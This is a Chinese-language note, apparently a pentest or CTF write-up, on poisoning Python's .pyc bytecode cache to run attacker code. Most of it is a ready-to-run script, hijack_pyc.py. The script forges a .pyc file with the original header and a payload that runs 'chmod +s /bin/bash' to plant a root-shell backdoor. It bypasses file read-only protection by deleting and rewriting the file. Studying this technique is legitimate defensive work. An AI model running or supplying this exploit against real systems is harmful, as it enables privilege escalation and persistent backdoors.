pyc poisoning

1. 介绍

运行python脚本时会优先使用 __pycache__ 目录下的 .pyc 中已经编译好的代码,如果我们把 .pyc 文件完美替换[1]为一个恶意的 .pyc 文件,那么执行python脚本时,就会运行我们这个.pyc文件中编译好的代码

2. 利用

大致利用过程:

  • 执行python脚本,生成正常 .pyc 文件
  • 运行 hijack_pyc.py 传入 .pyc 的路径
  • 再次运行python脚本,调用我们替换的 .pyc 缓存,执行恶意代码

hijack_pyc.py

import marshal
import time
import sys
import struct
import os

if len(sys.argv) < 2:
    print(f"Usage: python3 {sys.argv[0]} <target_pyc_file>")
    sys.exit(1)

fn = sys.argv[1]

#读取原始文件的头部信息 (Magic, Flags, Timestamp, Size)
try:
    with open(fn, 'rb') as f:
        # Python 3.7+ 的 .pyc 头部通常为 16 字节
        magic = f.read(4)
        flags = f.read(4)
        timestamp = f.read(8)
        
        # 显示读取到的信息,方便确认
        print(f"[*] 成功读取头部信息:")
        print(f"    Magic: {' '.join([hex(i) for i in bytearray(magic)])}")
        t, s = struct.unpack('<LL', timestamp)
        print(f"    Timestamp: {time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(t))}")

except Exception as e:
    print(f"[-] 读取失败: {e}")
    sys.exit(1)

payload_code = '__import__("os").system("chmod +s /bin/bash")'
print(f"[*] 构造 Payload: {payload_code}")

c2 = compile(payload_code, "exp.py", "exec")
code_binary = marshal.dumps(c2)

# 3. 删除并重写文件 (利用目录写权限绕过文件只读限制)
print(f"[*] 正在尝试替换文件 {fn}...")
try:
    # 如果直接打开失败,先尝试删除
    if os.path.exists(fn):
        os.remove(fn)
        print(f"[+] 已删除原文件,准备重写...")
    
    with open(fn, 'wb') as outfile:
        outfile.write(magic + flags + timestamp + code_binary)
        print(f"[+] 成功!已覆盖为恶意代码对象。")
        
except PermissionError:
    print(f"[-] 权限不足:请确认你对输出目录 {os.path.dirname(fn)} 是否有写权限。")
except Exception as e:
    print(f"[-] 发生错误: {e}")

Pasted image 20260113160619.png


  1. .pyc 与旧 .pyc 满足以下条件时,运行python脚本就不会编译新的 .pyc 文件

    • 时间戳相同
    • 文件大小相同
    • 哈希值相同(python3.7之后新增)
    • magic number相同(不同Python版本的值不同)
    • 编译标志相同
    • 优化标志相同
    ↩︎